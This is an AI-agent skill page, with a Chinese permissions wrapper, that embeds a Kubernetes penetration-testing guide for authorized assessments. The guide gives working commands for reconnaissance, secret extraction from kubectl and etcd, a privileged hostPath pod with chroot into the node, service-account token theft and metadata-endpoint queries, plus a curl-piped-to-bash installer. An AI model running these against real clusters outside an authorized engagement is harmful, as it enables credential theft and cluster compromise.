K8s 测试
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档案由构建时根据 SKILL.md 与安装命令自动衍生,可能与作者实际意图存在差异。
需要注意: 未限定 allowed-tools,默认拥有全部工具权限。
---
name: performing-kubernetes-penetration-testing
description: Kubernetes penetration testing systematically evaluates cluster security by simulating attacker…
category: 运维部署
runtime: Node.js
---
# performing-kubernetes-penetration-testing 输出预览
## PART A: 任务判断
- 适用问题:部署、CI、环境检查、发布或运维排障。
- 输入要求:目标材料、限制条件、期望输出和验收方式。
- 证据边界:围绕“Overview / When to Use / Prerequisites”读取原文规则,不把推断写成作者承诺。
## PART B: 执行结果
- **01** 任务判断:确认你的需求是否属于部署、CI、环境检查、发布或运维排障,并标出输入、限制和预期结果。
- **02** 执行计划:优先按“Overview / When to Use / Prerequisites”拆成步骤,说明每一步会读取什么、修改什么、产出什么。
- **03** 交付结果:给出可复制的命令、文件改动、检查清单或内容草稿,并说明如何继续迭代。
- **04** 风险边界:结合 读取文件、写入/修改文件、执行终端命令、读取环境变量、会按任务需要访问外部网络、通常不需要额外 API Key 给出执行前确认项。
## Running Rules
- 读取文件、写入/修改文件、执行终端命令、读取环境变量;会按任务需要访问外部网络;通常不需要额外 API Key。
- 先小样例验证,再放大到真实任务。
- 交付时同时给结果、检查口径和下一步迭代建议。 原文出现了 `/bin`、`/registry`、`/host`、`/var` 这类斜杠命令;如果你的 Agent 支持命令触发,优先用命令开场,再补充目标和边界。
告诉 Agent 目标文件或材料、期望结果、不可改范围、是否允许联网或执行命令。本 Skill 的权限画像是:读取文件、写入/修改文件、执行终端命令、读取环境变量。
先用一个小任务确认它会围绕“Overview / When to Use / Prerequisites”工作;涉及文件或命令时,先看 diff、日志、预览或测试结果。
检查最终产物是否包含明确结果、必要证据和下一步动作;如果输出泛泛而谈,就补充输入、边界和验收标准后重跑。
---
name: performing-kubernetes-penetration-testing
description: Kubernetes penetration testing systematically evaluates cluster security by simulating attacker…
category: 运维部署
source: tomevault-io/skills-registry
---
# performing-kubernetes-penetration-testing
## 什么时候使用
- 用于组织测试、定位失败并形成修复闭环 适合处理部署、CI、发布、回滚、环境检查和运维排障,核心价值是把输入、判断、执行、验证和交付边界固定下来,避免 Agent 泛泛回答。 把任务拆成可执行、可检查、可继续迭代的步骤;通常不需要额外 A…
- 面向部署、CI、环境检查、发布或运维排障,优先处理能明确输入、步骤和验收标准的工作。
## 需要提供什么
- 目标材料、目录范围、期望结果和不可改动内容。
- 是否允许联网、执行命令、读写文件或调用外部服务。
## 执行规则
- 围绕「Overview / When to Use / Prerequisites」组织步骤,不把推断写成作者事实。
- 读取文件、写入/修改文件、执行终端命令、读取环境变量;会按任务需要访问外部网络;通常不需要额外 API Key。
- 先跑小样例,确认结果可检查后再扩大任务范围。
## 输出要求
- 给出最终产物、关键证据、验证方式和下一步动作。
- 信息不足时标记 unknown,不编造命令、平台或依赖。 作者原文负责流程事实;仓库文件负责来源和命令;流狐只补充适用场景、限制和质量判断。
skill "performing-kubernetes-penetration-testing" {
输入层 -> 用户目标 + 目标文件 + 禁止范围 + 验收标准
上下文层 -> Overview / When to Use / Prerequisites
规则层 -> SKILL.md 触发条件 / 执行顺序 / 输出格式
运行层 -> Node.js | 读取文件、写入/修改文件、执行终端命令、读取环境变量 | 会按任务需要访问外部网络
安全层 -> 通常不需要额外 API Key + 小任务验证 + diff / 日志复核
输出层 -> 可复制结果 + 检查清单 + 下一步迭代
} Performing Kubernetes Penetration Testing
Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
- When conducting security assessments that involve performing kubernetes penetration testing
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
Core Concepts
Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|---|---|---|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|---|---|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
| Privilege Escalation | Privileged container, node access, RBAC abuse |
| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
| Credential Access | Secret extraction, service account token theft |
| Lateral Movement | Container escape, cluster internal services |
Workflow
Step 1: External Reconnaissance
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
Step 2: Automated Scanning with kube-hunter
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
Step 4: Framework Compliance with Kubescape
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
Step 5: RBAC Exploitation Testing
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
References
- kube-hunter - Kubernetes Penetration Testing
- Kubescape - Kubernetes Security Platform
- kube-bench - CIS Benchmark
- MITRE ATT&CK Containers Matrix
- Kubernetes Threat Matrix - Microsoft
Source: AgentFlocks/flocks — distributed by TomeVault.
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